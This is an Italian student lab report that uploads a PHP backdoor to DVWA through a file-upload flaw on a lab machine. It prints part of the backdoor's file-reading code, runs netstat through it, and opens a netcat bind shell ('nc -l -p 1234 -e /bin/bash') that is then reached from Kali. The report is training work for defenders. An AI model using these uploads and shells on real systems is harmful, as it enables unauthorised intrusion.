

# M4-W13D1 – Pratica (2)

*DATA*

**Cybersecurity Analyst**

*Studente:*

*Andrea Scarmagnani*

*Docente:*

*Federico Daidone*

Traccia:

- 1. Ripetere l'esercizio di ieri utilizzando questa volta al posto di una shell base una più sofisticata e complessa
- 2. È possibile reperire delle shell anche online o eventualmente dentro la stessa macchina Kali

```
1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.50.100
3 Content-Length: 3206
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.50.100
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryurI8BYFQUVJB0Son
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.50.100/dvwa/vulnerabilities/upload/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Cookie: security=low; PHPSESSID=0c955d750de077d55ea6740c36202ceb
14 Connection: close
15
16 -----WebKitFormBoundaryurI8BYFQUVJB0Son
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 -----WebKitFormBoundaryurI8BYFQUVJB0Son
21 Content-Disposition: form-data; name="uploaded"; filename="php-backdoor.php"
22 Content-Type: application/x-php
23
24 <?
25 // a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \
26
27 ob_implicit_flush();
28 if(isset($_REQUEST['f'])){
29     $filename=$_REQUEST['f'];
30     $file=fopen("$filename","rb");
31     fpassthru($file);
32     die;
33 }
34 if(isset($_REQUEST['d'])){
35     $d=$_REQUEST['d'];
36     echo "<pre>";
37     if ($handle = opendir("$d")) {
38         echo "<h2>Listina of <code>";
```

Index of /dvwa/hackable/uploads

Name	Last modified	Size	Description
<a href="#">Parent Directory</a>		-	
<a href="#">SmilePirata.jpeg</a>	31-Jan-2024 12:51	7.8K	
<a href="#">dvwa_email.png</a>	16-Mar-2010 01:56	667	
<a href="#">php-backdoor.php</a>	31-Jan-2024 13:45	2.7K	
<a href="#">shell1.php</a>	31-Jan-2024 12:52	35	



Vulnerability: File Upload

Choose an image to upload:

Choose File No file chosen

Upload

../../hackable/uploads/php-backdoor.php succesfully uploaded!

← → ↻ ⚠ Not secure 192.168.50.100/dvwa/hackable/uploads/php-backdoor.php

execute command:

upload file: 

Choose File No file chosen

 to dir:

to browse go to http://?d=[directory here]

for example:  
http://?d=/etc on \*nix  
or http://?d=c:/windows on win

execute mysql query:

host:  user:  password:

database:  query:

Dopo aver caricato una shell più avanzata di ieri, ora proviamo a vedere qualche comando in eseguito con questa shell. La shell utilizzata è una shell presente in kali.

Esecuzione del comando: `netstat -tln`

```
← → ↻ ⚠ Not secure 192.168.50.100/dvwa/hackable/uploads/php-backdoor.php?c=netstat+-tulp
```

Active Internet connections (only servers)							
Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name	
tcp	0	0	*:exec	*:*	LISTEN	-	
tcp	0	0	*:login	*:*	LISTEN	-	
tcp	0	0	*:nfs	*:*	LISTEN	-	
tcp	0	0	*:shell	*:*	LISTEN	-	
tcp	0	0	*:56837	*:*	LISTEN	-	
tcp	0	0	*:35973	*:*	LISTEN	-	
tcp	0	0	*:8009	*:*	LISTEN	-	
tcp	0	0	*:6697	*:*	LISTEN	-	
tcp	0	0	*:mysql	*:*	LISTEN	-	
tcp	0	0	*:rmiregistry	*:*	LISTEN	-	
tcp	0	0	*:ircd	*:*	LISTEN	-	
tcp	0	0	*:netbios-ssn	*:*	LISTEN	-	

Esecuzione de comando: `nc -l -p 1234` (avviata una connsezzione in ascolto con netcat nella macchina vittima)

```
← → ↻ ⚠ Not secure 192.168.50.100/dvwa/hackable/uploads/php-backdoor.php?c=netstat+-tulp+%7C+grep+"1234"
```

tcp	0	0	0.0.0.0:1234	0.0.0.0:*	LISTEN		
-----	---	---	--------------	-----------	--------	--	--

Ora provo fare la stessa cosa ma mettendo in esecuzione un'altra shell da **netcat (nc)**

Quindi eseguo: `nc -l -p 1234 -e /bin/bash`

Poi controllo: `netstat -tulp | grep "1234"`

```
← → ↻ ⚠ Not secure 192.168.50.100/dvwa/hackable/uploads/php-backdoor.php?
```

tcp	0	0	0.0.0.0:512	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:513	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:2049	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:514	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:56837	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:35973	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:8009	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:6697	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:3306	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:1099	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:6667	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:139	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:52620	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:5900	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:111	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:6000	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:80	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:37264	0.0.0.0:*	LISTEN		
tcp	0	0	0.0.0.0:1234	0.0.0.0:*	LISTEN		

```
(kali@kali)-[~]
$ nc 192.168.50.100 1234
ls
SmilePirata.jpeg
dvwa_email.png
php-backdoor.php
prova.txt
shell1.php
ls -l
total 20
-rw-r--r-- 1 www-data www-data 7985 Jan 31 12:51 SmilePirata.jpeg
-rw-r--r-- 1 www-data www-data 667 Mar 16 2010 dvwa_email.png
-rw-r--r-- 1 www-data www-data 2800 Jan 31 13:45 php-backdoor.php
-rw-r--r-- 1 www-data www-data 0 Jan 31 14:04 prova.txt
-rw-r--r-- 1 www-data www-data 35 Jan 31 12:52 shell1.php
```

Connessione riuscita:

# **Cybersecurity Analyst 2023**

